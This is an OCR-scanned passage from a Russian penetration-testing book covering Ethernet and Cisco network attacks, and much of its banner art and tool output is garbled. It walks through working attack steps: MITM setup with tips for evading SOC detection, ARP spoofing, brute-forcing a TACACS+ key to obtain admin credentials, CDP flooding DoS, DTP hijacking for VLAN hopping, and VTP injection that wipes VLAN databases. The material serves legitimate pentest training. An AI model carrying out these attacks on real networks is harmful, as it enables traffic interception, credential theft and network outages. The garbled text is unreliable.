:J56/l&&IIIIIIIIP. 71111&&&6? . 181111/IBJ. - Pll&B7 IG/11111/IIIY 7#11&&/IPI
.AJ/111/1/IP . 7&116J- . . -JG/1111115" : Ylll/111/1/IP- .JВl#IIY ?&857:.:IJG/1111111/IY
lll/111/IIIY
llllll/111/IY 11165JIJIIIIIP. "7".:75811111111117 IВ&/11111111? "61111/IY •-. :75811111111111/IIIY
111111111/IY lllllllll/1/111/1/IIIP . :•. AJG/111#/l#ll#IP" . J/111#15" . J/111/IIIY . -J611/IIIIIIII/UIII/UIIIIIY
11111111/IY lllllllll/111/IIIIP. 7116YI . : 758111/111/1/IIIJ. "Р67 7GIIIIIIIIIIIY 7&11111111/IIUIIIIIIIIIIIIIY
111111/IIIY lllll/11111111/IIIP. 7111111&/IP? . . IВIIIIIIIIIIG7 . "51111111111111/IY 711111/1/111/IIIIIIIIIIIIY
Jlllll/111/IIIIY 7/IIDl/1111111/IIIIIY
1111/IIIY lll/111/UIIIIIIIP. 7/IIIBP?- . . -?В/11111111/l&P:
11/UIIIY 11111111111/IIIP. l6J- . . "75ВIIIIIIUIIВ7 1? . - Pllll/1111/IIIY 71111111111111111111111/IIIY
. : IYG/111/IIIII/IIIIIIIBJ. "511&61 76111111/IIIJ 7111/111/1/IIIIIIIIIIIY
ll/111/IIIIY llll/11111/IIIIIIP
IP/11
?J 7
7&61
71#/IP•
7##1111
7111111#1
71111111
7111111111
711111111
711111111
1111111111
/lll/111/16YJPIIIIIIIIIIIIIIIIBYYYPВllllll#IIIII/Ullll/16JJYВ//1111115JJPlllllll/16JJPlllllllllllllllllllllll/1116JJPIUIIIIII
IIIII/Ullll&IIIIIIIIIIIIIIIIIIII/UIIIIIIIIIIIIIIIIIIIIIIIII/Ulllllllllllllllllllllllllllllll/111/ll&&IIIIUlllll/11111111/Ulll/lll&IIIIIII
IIIIIIIIII/UIIID/UI/I/UIII/UII/UIIIIIIIII/I/IIIIIIIIIIIIIIII/IIIIIIIIIIIIIIII/IIIIIIIIUllllllllllll/ll/1/IIIIIIIIIIIIIIIIIIUIIIIIII
Network Vu\nerabi\ity Scanner
Auth"r: Ca5ter, .,.,eнrra ,t. r, <casterinfoseccilgn,ai\ .com>
'[+] Sniffing the EIGRP protoco\ .. .
[*] Info: Detected EIGRP
[•] Info: Here is а litt\e information about the autonomous system
[•] I~pact: Network ·1nte\\igence, МIТМ, DoS, B\ackho\e.
[•] Tools: Loki, Sc~py, FRRouting
[*] El6RP AS NU11~r: ~2
[•] EIGRP NeighЬor: 172.16.12.1
[ ! ] There is EIGRP Authentication
[ 1] There is EIGRP МОS Authentication. You сап oa,k tr.is wнi1 eitr~?.iu~н ру
[*] EIGRP Authentication Кеу ID : 1
caster.kali :-/AЬove $
Рис . 3.8. Результат обнаружения EIGRP с помощью Above
Глава 3
64
Если этих протоколов нет в трафике, значит, в сети нет динамической маршрутиза- ,
ции либо настроены пассивные интерфейсы.
Обнаружение системы резервирования
FНRP обеспечивают отказоустойчивость на уровне маршрутизации. Основная идея
заключается в том, чтобы объединить несколько маршрутизаторов в одну логиче­
скую группу. Внутри нее будет виртуальный маршрутизатор с виртуальным
IР-адресом, который будет назначаться как адрес шлюза по умолчанию.
Домен FНRP может подвергнуться спуфинг-атаке против Master-poyтepa, приори­
тет которого менее 255. Атакующий в таком случае сможет стать «человеком посе­
редине» и перехватывать трафик всей сети, которую обслуживают FНRР-спикеры.
В класс FНRP входят следующие протоколы:
□
HSRP (Hot Standby Redundancy Protocol);
□
VRRP (Virtual Router Redundancy Protocol);
□
GLBP (Gateway Load Balancing Protocol).
Above.py
$
ethO
100
11\t 1)
[sudo] passwor d for caster:
llllllllllllllllll#llll#/111/lll/111/lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll#llll#ll##llllllllllllllllllllllr#1
ll#llllll##ll#llllllllll/111/lllllllll#ll#llllllllllllllllll#llllllllllllllllllllllllllllllllllllllllllllllllllllllllll/lll#lllllllllllllllllllllli
IIIIIIIIIIIIP---!J5GВ#IIII/IIIG--- !YGIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIB?!G#llllllllllllll/1115--7SG/lll#llllllllll/l/l/llli
. ?111111/IP :- .. : !JPBllllllllllll/1111111115: .?Bllllllllll/111/IJ :л .. :IYGllllll/11111/llli
llll/111/IIIY
/111/1/1/1/IY 7&/IGSJY/11111/IP. 7/IBPJ-:.:!JPll/1111111116! ?У: :Sll/111#11/1/IY 711657л .. :IJPllll/l/11
IВ#/1/11
1111##11/IY : J56#6Ь##IIIIP . 71111&6&6? . !В#/1/IBJ. -Р/16В7 IG/111/111/IY 71111&&/IP!
. AJ/11111/IP . 7&/IGJ- .. -JGll/111/ISл :Yll/1111111/IP- .JB/111/IY ?&B57: .:! JG/lllrllll:
1111#11/IIIY
1111#1111/IY !1165J!Jll##IIP. А1А.:1sв111111111111111 i вr,111111111111? AG/111/IY А-. :7SВ11r1111111111111
/111111111/IY !/l/111111111111111/IP. :А . AJG111111111111111111PA . J11111111sA .J1111111111v .-JG111111111111111111r11111
/1/11111/1/IY !ll/1#11/lllll#ll#P. 7/IGY! . : 7SВ##IIIIII/IIIJ . л Р67 7611/111#11/IY 7&111111/1#/lll##ll##ll/11
11#11/IIIIIY !llll/111/IIIIIIIIIIIP. 7111111&/IP? . . !Bll#/1#111167 . ASll/111/111/1#/IY 71111/11111/lllll/1#1111111111:
J/lll/111/111/lll#Y 711111111#/1/11111/1111111/1#1
llllll/111/IY !llllllll/11111/111/IP. 71111/IBP?- . . -? Вll/111/111/l&P:
ll/111/1/IIIY !ll/111/1/IIIIIIIIIIIP. !GJ- .. л75Bllllllllllll/111B7 !?. -P/111#11/IIIIIY 711#/lllll/111#11/l#lllllllli
.:! YGll/11111111111/IIIIIBJ. лSll&G! 7611111111/IJ 711#1111/1#/lllllllllrllll#i
111111/IIIIIY !11111111/11111/IIIIIP
#llll#ll#GYJPllllllll#llllll#IIBYYYPBllllllllll#IIIIIIIIIIIIIIGJJYBIIIIII/IIISJJPIIIIIIIIIIGJJPllll/l/1111111#1111#111111111
llllllllllllllll&llllllll#llllllllllllllllllllllllllllll#llllllllllllllllllllllllllllllllllllllllllllllllllllll#ll&&llllllllllllllll/1111111111111111
llllllllllll#llllllll/lllllllllllll#/lll#llllll/lll/lllllll/l/lllll/111/llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllli
Networl< Vulnerability Scanner
[+] Sniffing the НSRP protocol ...
[•] Iпfo: Det~cted HSRP
['1 Detected vulпcraЫe HSRP pr1or1tv values
[ •] HSRP Group ~umb~r·: 1
[•] HSRP Virtual IP Addr·css: 10.О 0.100
[<] Impact: ~IIПI, Dos, Blacl<hole
[• 1 rools: Lok1
[ 1 ] HSRP ~Ю5 ALJtl1eпtic,Jtioп 1s US<'d. You can bп1tci1~)-(t 1~.
[ '] Too\s for· br·utefoпe: l1srp2;ohп.py, Jot111 tt,, 1: ;·,, 1
$
Рис. 3.9. Информация о присутствии HSRP
Пентестим Ethemet по всем правилам
Как и в случае с DRР-пакетами , для обнаружения
65
FHRP тоже нужен L2-доступ,
и этот протокол тоже использует мультикастовую рассылку:
□
HSRP: 224.О .О .2 , для второй версии 224 . 0.0 .102 (UDP/1985);
□
VRRP: 22 4. 0 . 0 .1 8;
□
GLBP: 22 4. 0.0.102 (UDP/3222).
Таким образом атакующий получает информацию о системе резервирования мар­
шруrизации и может провести атаку (рис . 3.9, 3. 1О).
Рис. 3.10. Информация о присутствии VRRP
MITM
МIТМ-атаки ВН)Три инфраструктуры са\tые мощные по импакту. МПМ не только
позволяет перехватываtь учетные записи, но и открывает возможность для Rеlау­
атак. Но МПМ одновременно и самая опасная атака с точки зрения возможности
нарушить рабо11· сети. Она не прощает ошибок. Я дам несколько советов, которые
позволят проводить MITM более аккуратно.
Г-лава 3
66
Мощность железа
Позаботьтесь о мощности своего железа: оно должно быть готово к тому, что через
него пойдет трафик нескольких десятков легитимных хостов. Это касается и ваше­
го интерфейса. Если вы собираетесь спуфить хосты с гигабитным интерфейсом, а
у вас коннект 100 Мбайт/с, то скорость сети серьезно пострадает и может произой­
ти коллапс. Пользователи быстро заметят, что сеть стала зависать, и позовут
сисадминов, а те (если не зря получают зарплату) поймут, в чем дело. Так пентест
перестанет быть секретом, и придется краснеть перед админами.
Вот рекомендованные параметры железа:
□ центральный процессор от четырех ядер;
□ оперативная память от 8 Гбайт;
□ сетевой интерфейс с полным дуплексом, 1 Гбит/с и выше. Хорошо, если выйдет
подключить
Ethemet-aдanтep
через
высокоскоростной
интерфейс
Thunder-
bolt 3/4.
Однако, скорее всего, вы упретесь в возможности порта коммутатора, к которому
подключены. Если там линк в 1 Гбит/с, выше этого вы прыгнуть не сможете. Обя­
зательно следите за поведением сети.
Разрешение маршрутизации
Главное правило МIТМ -
разрешить маршрутизацию трафика со своей стороны:
sudo sysctl -w net.ipv4.ip_forward=l
Иначе при атаке легитимный трафик будет упираться в ваш хост и дальше не прой­
дет, а это DoS, т. е. видимый признак атаки. И снова пентест перестанет быть сек­
ретом.
ТТотенциальный Storm Control
Если на порту атакующего есть
Stonn Control с контролем трафика 1JCAST/
MCAST/ВCAST, может сработать тревога оборудования, потому что порт атакую­
щего при МIТМ начнет обрабатывать гораздо больше трафика, чем ожидалось по
настроенному TНRESHOLD. Имейте это в виду!
Обход трассировки (ТТL Shift)
Смещение TTL в таблице mangle поможет спрятать IР-адрес атакующего из трасси­
ровки пакетов. МIТМ-атаки создают избыточный хоп, и если провести трассировку
со стороны легитимной машины, то IР-адрес атакующего окажется в самой трасси­
ровке. Такой расклад событий SOC точно не оценит.
sudo iptaЬles -t mangle -А PREROUTING -i eth0 -J TTL --ttl-inc l
б7
Пентестим Ethemet по всем правилам
Восстановление АRР-таблицы после атаки
Ваш инструмент обязательно должен генерировать обратные IS-A Т-кадры, которые
восстанавливают состояние АRР-таблиц хостов еще до атаки. Эго очень важный
момент. Хост или сервис могут и не запросить ARP, они будут думать, что вы все
еще их шлюз. А это DoS. Кстати говоря, Ettercap и Arpspoof отлично делают эту
работу, а по окончании генерируют необходимые IS-A Т-кадры и восстанавливают
структуру АRР-таблиц хостов.
ICMP Redirect
Во время МIТМ-атаки ваша машина может генерировать пакеты ICMP Redirect, что
встревожит IDS/IPS, поэтому обязательно выключайте на своей стороне сообщения
ICMP Redirect в sysctl.conf.
sudo sysctl -w net. ipv4. conf. all. send_ redirec.ts=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects:Q
Консригурация NA Т
Одно из главных правил МIТМ- настройка NAT. Обычно атакующие обходятся
одной командой:
sudo iptaЬles -t nat -А POSTROUTING -о eth0 -J МASQUERADE
Без настройки NA Т атакующий не сможет увидеть вторую часть трафика, в кото­
рой потенциально могут находиться учетные данные. Эго происходит из-за асим­
метричной маршрутизации -
когда трафик идет одним путем, но возвращается
другим. Благодаря маскарадингу асимметричная маршрутизация не помешает ата­
кующему видеть трафик, идущий в обе стороны.
Модуль nf_conntrack
для протоколов No NAT Friendly
SIP. Эго протоколы No NAT
Friendly, и вам понадобится модуль nf_conntrack, чтобы они работали с NAT. При
МIТМ атакующий должен включить NA Т, чтобы видеть трафик, идущий в обе сто­
Сквозь вас может ходить трафик
FTP, Н.323
и
роны.
sudo modprobe nf_conntrack
Выбор масок подсетей при ARP Spoofing
При проведении АRР-спуфинга следите за маской подсети, с которой собираетесь
работать. Если вы возьмете слишком большую маску, ваше железо может просто не
выдержать нагрузки и возникнет DoS.
68
Глава 3
Особенность атаки при SТР (МIТМ)
Присуrствие SТР-кадров внутри сети -
одно из самых частых ямений при анализе
трафика. Существуют атаки на протокол
STP, связанные с инъекцией ВРDU­
кадров. Например, чтобы провести МПМ, нужно отправить в ответ ВРDU-кадр
с наименьшим значением приоритета. Тогда компьютер атакующего получит роль
корневого коммутатора.
Однако на деле не все так просто. При эксплуатации STP вы получите только час­
тичную МПМ, т. к. не весь трафик будет ходить через корневой коммутатор. По­
этому в таких случаях не рассчитывайте на большой поток трафика.
Еthеrnеt-туннели при пивотинге
Пентестерам иногда нужно проводить атаки канального уровня. Например, приме­
нить тот же Responder, чтобы перехватить учетные данные. Атакующий эскалирует
свое присутствие в сети с помощью пивотинга, однако для проведения атак каналь­
ного уровня ему необходимы именно L2-туннели. L2-туннелирование применимо
при пивотинге, если атакующему требуется L2-доступ до целевых хостов.
Существуют два вида VРN-интерфейсов:
□ Т АР -
виртуальный сетевой драйвер, который эмулирует Ethernet. Работает на
канальном уровне, оперируя Еthеmеt-кадрами;
□
TUN -
виртуальный сетевой драйвер, который используется для построения
LЗ-туннелей. Работает на сетевом уровне, оперируя IР-пакетами.
Если атакующий стремится к атакам канального уровня в целевой сети, ему нужно
использовать именно ТАР-интерфейсы, с которыми он будет строить L2-туннель.
Для этого есть много способов, начиная с SSH и OpenVPN и заканчивая более экзо­
тическими вещами, такими как EolP, GRETAP, L2TPv3, VXLAN. Пентестер может
строить туннели как угодно, но я расскюку о двух главных нюансах.
Перед тем как пробросить L2-туннель, прописывайте явный маршрут
«/32» до
целевого хоста, с которым будете устанамивать туннель. Без этого маршрута при
получении адреса на L2-интерфейсе может возникнуть разрыв туннеля, т. к. тун­
нель будет перекрывать маршрут до хоста. Команда несложна -
просто пропиши­
те этот маршрут через свой шлюз по умолчанию:
sudo ip route add Х.Х.Х.Х/32 via Х.Х.Х.Х
Атакующий обеспечивает себя L2-туннелем с помощью специальных виртуальных
интерфейсов. Но чтобы взаимодействовать с целевой сетью, необходимо сначала
получить адрес. Обычно атакующий узнает его с помощью DHCP, однако по DHCP
может прилететь другая информация о шлюзе, что может негативно помиять на
сетевую связность. Поэтому, когда получаете адрес на L2-интерфейсе при пивотин­
ге, сразу же второй командой удаляйте прилетевший умолчательный маршрут:
sudo dhclient -v tapO; sudo route del default
Пентестим Ethemet по всем правилам
69
Итак, мы разобрались в особенностях Еthе.-nеt-пивотинга: какие правила хорошего
тона нужно применять, чтобы добиться успеха при эксплуатации L2.
Таблица векторов
Я сделал небольшую матрицу самых эффективных атак канального уровня, от
которых есть ощутимый импакт (рис. 3.11 ).
Вектор атаки
Импакт
Спуфинг LLMNR/NBT-NS
Перехват учетных записей
Инъекция СОР VolP
VLAN-xonnинr
СпуфингSТР
Частичный MITM
Bridge-based атака
Обход NAC (только для 802.1Х-2004)
Перечисление 802.10
VLAN-xonnинr
Спуфинг DTP
VLAN-xonnинr
СпуфингАRР
MITM
Спуфинг DHCP
MITM
Спуфинг DP
Сбор информации
Спуфинг FHRP
MITM
DRР-соседство
Обнаружение подсетей
Сканирование ARP и NBNS
Обнаружение хостов
Рис. 3.11. Матрица эффективных атак канального уровня
Атак канального уровня, конечно же, гораздо больше, но я выбрал самые толковые
и эффективные векторы , от которых будет польза . Никаких DoS и прочих сомни­
тельных вещей.
Выводы
В этой главе я изложил наиболее важные моменты при пентесте Ethernet. Этой тех­
нике уже
несколько десятков лет,
но она
по-прежнему
применяется
на
пентестах
при внутреннем анализе защищенности. Надеюсь, что я смог подарить несколько
новых техник для
осведомленность .
11ентестеров,
а администраторы
сетей
повысят собственную
ГЛАВА 4
Большой гайд
по пентесту сетей Cisco
За всю свою карьеру сетевого инженера я повидал немало сетей, где использова­
Cisco. И в большинстве случаев это оборудование работало
лось оборудование
с конфигурацией по умолчанию, что ставит локальную сеть под удар со стороны
потенциального нарушителя . Из этой главы вы узнаете, какой кошмар может воз­
никнуть в сетях Cisco, если к их настройке отнестись халатно.
ТТерехват и деwисрровка к.nюча TACACS+
Т ACACS+ (Terminal Access Controller Access Control System) назначенный для
централизованного управления
учетными
протокол, пред­
записями,
которые
используются непосредственно для администрирования сетевого оборудования.
Сервер Т ACACS+ решает, позволить или запретить доступ пользователю, который
пытается войти в панель управления сетевым оборудованием.
У этого протокола есть две версии: ТACACS и ТACACS+. Мы будем разбираться
именно с ТACACS+.
«Плюсовая» версия отличается повышенным уровнем безопасности и интегриро­
ванным шифрованием. Также разделены функции ААА (аутентификация, автори­
зация и учет), и их можно использовать по отдельности.
Если
злоумышленник сумеет встать
посередине между клиентом и
сервером
Т ACACS, он сможет перехватить ключ для аутентификации в зашифрованном ви­
де, а потом провести против него локальный брутфорс. То есть ты и брутфорсишь
ключ, и в логах не палишься. И если тебе удастся сбрутить ключ, то ты сможешь
получить доступ к сетевому оборудованию и расшифровать трафик в Wireshark. Да,
Wireshark умеет работать с двумя версиями протокола Т ACACS. Предоставив
«Акуле» ключ, ты сможешь дешифровать остальную часть данных, в которой хра­
нится логин пользователя .
72
Глава 4
Шаг 1 : МIТМ-атака
Сперва нужно провести МПМ-атаку, тут все зависит от обстоятельств и твоих
предпочтений. Для примера я реализую АRР-спуфинг в отношении Т АСАСS­
агента и Т АСАСS-сервера.
□ В качестве агента Т ACACS выступит коммутатор SW 1 с IР-адресом 10 .10 .100 .10.
□ В качестве сервера Т ACACS выступит Т ACACSGUI с адресом 10 .10 .100. 70.
АRР-спуфинг я реализую через утилиту Ettercap (https://github.com/Ettercap/
ettercap). Для начала необходимо переключить интерфейс в неразборчивый режим
и разрешить маршрутизацию (рис. 4.1 ):
caster@kali:~$ sudo ifconfig ethO promisc
caster@kali:~$ sudo sysctl -w net.ipv4.ip_forward=l
Запускаем Ettercap:
caster@kali:~$ sudo ettercap -G
Рис. 4.1. Ettercap
В качестве прослушивающего интерфейса выступит ethO. Запустим сканирование
хостов (рис. 4.2).
□
Target 1 будет хает с IР-адресом 10 .10 .100 .1 0, а Target 2 -
□ Проводим АRР-спуфинг против двух целей (рис. 4.3).
10 . 10 .1 00 . 70 .
Большой гайд по пентесту сетей Cisco
73
Рис. 4.2. Сканирование хостов
Рис. 4.3. Начало АRР-спуфинга
Шаг 2: Loki
Теперь необходимо запустить
Это
специальный
Loki (https://cOdecafe.de/svn/codename_loki/trunk/).
инструмент,
созданный
для
анализа
безопасности
протоко­
лов L2/L3. По возможностям он не хуже той же популярной Yersinia и составляет
Глава 4
74
ей серьезную конкуренцию. Loki также умеет брутфорсить ключи Т ACACS. В слу­
чае успеха брутфорса ключа в зашифрованном виде
( обычно он зашифрован
в формате MD5) мы сможем получить доступ к оборудованию и расшифровать
зашифрованный Т АСАСS-трафик.
Запускаем Loki:
caster@kali:~$ sudo loki_gtk.py
Выбираем интерфейс для атаки (рис. 4.4).
Рис. 4.4. Loki. Выбор интерфейса
Также нужно указать путь до словаря, чтобы провести брутфорс зашифрованного
ключа. Обязательно снимайте флажок с опции Use Bruteforce, иначе Loki будет ло­
мать пароль полным перебором, не задействовав сам словарь (рис. 4.5).
Теперь нужно ждать, пока легитимный администратор войдет на устройство через
сервер ТACACS. Предполагается, что сетевой администратор уже зашел, а мы,
встав посередине через АRР-спуфинг, перехватываем трафик. И при этом легитим­
ные хосты не понимают, что в их соединение вмешался кто-то посторонний
(рис. 4.6).
Теперь нажимаем на кнопку CRACK и ждем, пока Loki подберет пароль (рис. 4.7).
Отлично, нам удалось сбрутить ключ, теперь нужно расшифровать ТАСАСS­
трафик. Как я и сказал,
Wireshark умеет работать с зашифрованным трафиком
TACACS при наличии ключа (рис. 4.8).
Видим, какой баннер использовался (рис. 4.9).
Большой гайд по пентесту сетей Cisco
Рис. 4.5. Настройка пути до словаря
Рис. 4.6. Лаки обнаружил соединение TACACS
75
Глава 4
76
Рис. 4.7. Локи взломал ключ TACACS. Пароль: secret 1234
Рис. 4.8. Скармливаем «Акуле» ключ
77
Большой гайд по пентесту сетей Cisco
No.
Тime
19 З.874223
28 3.875878
78
22 3.881917
23 3.881979
27 4.493997
28 5.670621
10.10.100. 10
Length lnfo
83 [ТСР Retransn1ss1anl 6553-1 54 49 - 65534 [АСК] Seq=l Асk=З
ТСР
88 R: Authentication
TACACS+
54 49 - 65534 [АСК] Seq=1 Асk=З
ТСР
88 [ТСР Rerran smissio
тс Р
68 65534 - 49 [АСК] Seq=38 Ack=
ТСР
224.8.8.2
224.8 . 8.2
HSRP
HSRP
Destinat,on
18.18.188.78
10.10.100.10
10.10.100. 10
10.18.108.10
Saurce
10.1е.10е.10
10.10.188. 70
10 . 1е . 10е . 1е
10.10.100.10
10.10.100.10
1 0. 10. 1 ее. 1 0
10 .18 . 188 . 280
18.18.188 . 188
Protacol
ТСР
Рис. 4.9. Использовавшийся баннер
Рис. 4.10. Пароль
62 Не Но ( s tate Standby)
62 Не Но ( state Active)
Глава 4
78
Обнаруживаем логин пользователя admin (рис. 4.10).
В итоге у нас есть креды admin:secret1234, с которыми можно зайти на само оборудо­
вание. Пожалуй, проверю их на валидность (рис. 4.11 ).
Рис. 4.11. Успешная аутентификация на оборудовании SW1
Вот таким образом можно атаковать Т ACACS+ и получать доступ к панели управ­
ления сетевым оборудованием.
Атаки на протокол CDP
CDP (Cisco Discovery Protocol) -
разработка инженеров Cisco Systems, протокол
канального уровня, созданный для того, чтобы устройства могли обмениваться ин­
формацией.
CDP может помочь сетевому администратору и облегчить процесс
траблшутинга, но как он выглядит с точки зрения злоумышленника? Сейчас выяс­
ним слабые стороны этого протокола.
Сбор инqюрмации
По умолчанию CDP выполняет рассылку объявлений на все свои порты. Но что,
если злоумышленник подключится к порту того же коммутатора? Воспользовав­
шись сетевым сниффером, будь то
Wireshark или tcpdump, он сможет извлечь
ценную информацию о самом устройстве -
начиная его моделью и заканчивая
версией Cisco IOS. Воспользовавшись этой информацией, он в состоянии провести
перечисление той же версии Cisco IOS и найти по ней уязвимость, а затем проэкс­
плуатировать ее (рис. 4.12).
Большой гайд по пентесту сетей Cisco
79
Рис. 4.12. Дамп СОР-трафика
DоS-атака CDP Flooding
Если злоумышленник спровоцирует рассылку огромного количества СОР-объяв­
лений, то сам флудинr вызовет перегрузку коммутатора и нарушит работу сети.
Также будет переполняться таблица соседей СОР. Проводить эту атаку просто, по­
этому не буду вдаваться в подробности (рис. 4.13).
На этот раз мы воспользуемся У ersinia:
caster@kali:~$ sudo yersinia -G
Выставляем опцию flooding СОР tаЫе и начинаем атаку. Центральный процессор
коммутатора будет перегружен, как и таблица СОР-соседей, вследствие чего воз­
никает «сетевой паралич» (рис. 4.14--4.16).
Глава 4
80
Рис. 4.13. Инструмент обнаружил коммутатор SW1
Рис. 4.14. Начало атаки
Большой гайд по пентесту сетей Cisco
Рис. 4.15. Перегруженный центральный процессор коммутатора
Рис . 4.16. Переполняющаяся таблица СОР-соседей
81
82
Глава 4
Злоупотребление динамическим транкингом
DTP (Dy11amic Trш1king Protocol) -
протокол
канального уровня, призванный
организовать автоматическую систему транкинга. Благодаря DTP коммутаторы са­
ми решают, какой порт будет работать в режиме магистрального канала (Trunk), а
какой нет. На мой взгляд, использование
DTP говорит о некачественном дизайне
сети. Транки должны быть строго там, где они нужны, и это обязательно следует
задокументировать. Особенно смешно , когда сетевой инженер сам не знает, какой
порт у него _в транке, а какой в режиме доступа .
По умолчанию порты коммутатора работают в режиме Dyпamic Auto. Это говорит
о том, что коммутационный порт находится в режиме инициации транка со сторо­
ны соседнего коммутатора. Пентестеру нужно физически подключиться к коммута­
тору и отправить кадр DTP DesiraЬ\e, который триггерит переключение порта в ре­
жим транка. Далее злоумышленник сможет провести перечисление сетей
с помощью анализа кадров STP и обойти сегментацию сети VLAN -
VLAN
создав вирту­
альные интерфейсы.
INFO
Подробнее об атаке протокола DTP вы сможете узнать, прочитав первую главу,
Для атаки понадобится скрипт, который будет генерировать кадр
DTP DesiraЬ\e.
(https://github.com/
casterbytethrowback/VLANPWN/ЫoЬ/mainillTPНijacking.py) (рис. 4.17, 4.18). Ее
Для этого я
написал
небольшую программу DTPHiJacking .ру
исходный код открыт.
caste r@kali: ~$ sudo python 3 DTPHijacking.py --interface ethO
Рис. 4.17. Инструмент DTPHijacking.py
Большой гайд по пентесту сетей Cisco
83
Рис. 4.18. Строение DТР-инъекции
Хочу отметить, что Access/DesiraЫe (ОхОЗi указывает на то, что DТР-кадр имеет тип
DesiraЫe, который велит порту переключиться в режим Trunk. А 802. lQ/802. lQ (Оха5)
указывает на тип инкапсуляции 802.1 Q.
INFO
Ни в коем случае не прерывайте работу скрипта. Он инжектит DTP DesiraЫe каждые
три секунды. Созданные динамически магистральные каналы на коммутаторе живут
всего пять минут. Через пять минут транк отваливается.
Проанализировав SТР-кадры, мы узнаем о существовании сетей VLAN
30 и 60
(рис. 4.19).
С данной информацией и наличием транк-порта мы можем получить доступ к этим
сетям
VLAN, при этом обойдя VLАN-сегментацию. Необходимо будет создать
виртуальные интерфейсы и назначить на них IР-адрес (рис .. 4.20, 4.21).
caster@kali:~$ sudo vconfig add eth0 30
caster@kali:~$ sudo vconfig add eth0 60
caster@kali:~$ sudo ifconfig eth0.30 up
caster@kali:~$ sudo ifconfig eth0.60 up
caster@kali:~$ sudo dhcl1ent -v eth0.30
caster@kali:~$ sudo dhclient -v eth0.60
84
Глава 4
•ethO
E•le
~d,t
v_,..,,
~
Captuгe
L1 0 • @) Га, •
~
i\лa l yze
?tat,stics
t'i
~
0.
Telephony
➔
11
-~
~гeless
➔• 11!
Iools
_
!:!elp
D
1:1
D
111
_l _s_t_p_ __ _ _ _ _ _ _ __ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ __ _ _ _ _ _ _ _ _ __ _ _ _ __
Тime
No
Source
a2s 210. 703316214 5е:ее:00:е2:е0:е1
829 270. 766506484 50:00:06 :02:00:01
.1,
FЗ0 :1'1
,р
,.,J.
4
J. 7
Oest1nat1on
ProtocoL
PVST+
PVST+
STP
STP
р
,
68 RST. Root
68 RST. Root
= З276Вtзеt5е:е0:ее·е2:01
= 327б8/68/50:ее:ее:е2:0(
~
r •
~
8~7 272 7 1 8 5lHl
38 2 2
7
810 2
Length lnfo
PV
•
Рис. 4.19. Анализ SТР-кадров
n~c r,•as 1nr,;;,Jnl',uz :-/cisconightmare/VLANP'IIN$ sudo dhc1 ie11t -v eth0. 30
Internet Systems Consortium DHCP Client 4.4.3
Copyright 2004- 2022 Internet Systems Consortium.
All rights 1·ese1·ved.
For info, please visi t https: //\1/W\1/, isc. org/soft111a1·e/dhcp/
Listening оп LPF/eth0.30/00:50:00:00:04:00
Sending оп
LPF/eth0.30/00:50:00:00:04:00
Sending оп Socket/fallback
DHCPDISCOVER оп eth0.30 to 255,255 . 255.255 port 67 interval 8
DHCPOFFER of 10, 10. 30 .1 f1•on1 10 .10. 30. 254
DHCPREQUEST for 10.10.30.1 оп eth0.30 to 255.255.255.255 port 67
DHCPACK of 10.10.30.1 from 10.10.30.254
bound to 10.10.30.1 -- renewal in 37786 seconds.
n,•c r,•as 111go>I11r,uz : -/cisconightmare/VLANP'IIN$ sudo dhc 1 ient -v eth0. 60
Internet Systems Consortium DHCP Client 4.4.3
Copyright 2004-2022 Internet Systems Consortium . .
All rights rese1·ved.
For info, please visit https://111111111.isc.org/software/dhcp/
Listening оп LPF/eth0.60/00:50:00:00:04:00
Sending оп
LPF/eth0.60/00:50:00:00 :04:00
Sending оп Socket/fallback
DHCPDISCOVER оп eth0.60 to 255.255.255.255 port 67 interval 6
DHCPOFFER of 10.10.60.1 from 10.10.60.254
DHCPREQUEST for 10,10.60.1 оп eth0.60 to 255.255.255.255 port 67
DHCPACK of 10.10.60.1 from 10.10.60.254
bound to 10.10.60.1 -- renewal in 33082 seconds.
пес re,,s 111gcJlt1guz :-/cisconightmare/VLANP'IIN$
Рис. 4.20. Полученные адреса по DHCP для виртуальных интерфейсов
Большой гайд по пентесту сетей Cisco
85
Рис. 4.21. Успешные IСМР-запросы в сторону шлюзов сетей VLAN 30 и 60
Таким образом можно обойти VLАN-сеrментацию и получить доступ к VLАN­
сетям.
Сетевой паралич при атаке на VTP
VTP (VLAN Trunki11g Protocol) - протокол, созданный для централизованного
управления сетями VLAN. Чтобы отслеживать актуальную базу данных VLAN,
коммутаторы проверяют специальные номера ревизии. Когда происходит любое
обновление таблицы, номер ревизии повышается на единицу. И если коммутатор
обнаружит конфигурацию, у которой номер ревизии выше, он автоматически обно­
вит свою базу данных VLAN.
Какие бывают роли в VТР-домене
□
□
VTP Server. Коммутатор в роли VTP Server может создавать новые VLAN, уда­
лять старые или менять информацию в самих VLAN. Также он занимается гене­
рированием объявлений VTP для остальных членов домена.
VTP Client. Коммутатор в этой роли будет получать специальные анонсы VTP от
других коммутаторов в домене, чтобы обновлять базы данных VLAN у себя.
Клиенты ограничены в возможностях создавать VLAN и .даже не имеют права
локально изменять конфигурацию VLAN. Иначе говоря, это доступ read only.
□
VTP Transparent. В этом режиме коммутатор не участвует в процессах VTP и
может вести у себя полное и локальное администрирование всей конфигурации
VLAN. Работая в прозрачном режиме, коммутаторы занимаются только переда-
Глава 4
86
чей объявлений УТР от других коммутаторов, не затрагивая свою конфигура­
цию сетей
VLAN. У таких коммутаторов номер ревизии всегда будет равен
..
нулю, и против них атаку провести не получится
Типы объявлений
□ Sшn111ary Advertisement. Объявление VTP, которое сервер VTP отправляет каж­
дые 300 секунд (5 минут). В этом объявлении хранится имя домена VTP, версия
протокола, отметка времени и значение МD5-хеша конфигурации.
□
St1bset Advertisement. Это объявление VTP, котqрое отправляется при каждом
изменении конфигурации VLAN.
□
Advertisement Request -
запрос от клиента VTP к серверу УТР на сообщение
s,immary Advertisement. Обычно рассылается в ответ на сообщение о том, что ком­
мутатор обнаружил Summary Advertisement с большим номером ревизии конфигу­
рации.
Атаку на протокол УТР можно провести только с транкового порта, поскольку объ­
явления УТР транслируются и принимаются только на транковых портах. Поэтому
при пентесте после атаки на DTP вашей следующей целью мо.жет быть VTP. Для
атаки на домен VTP я буду использовать Yersinia. С ее помощью я проведу VТР­
инжект, который стирает всю базу данных VLAN и тем самым парализует сеть.
Рис. 4.22. Начало атаки на домен VТР
87
Большой гайд по пентесту сетей Cisco
INFO
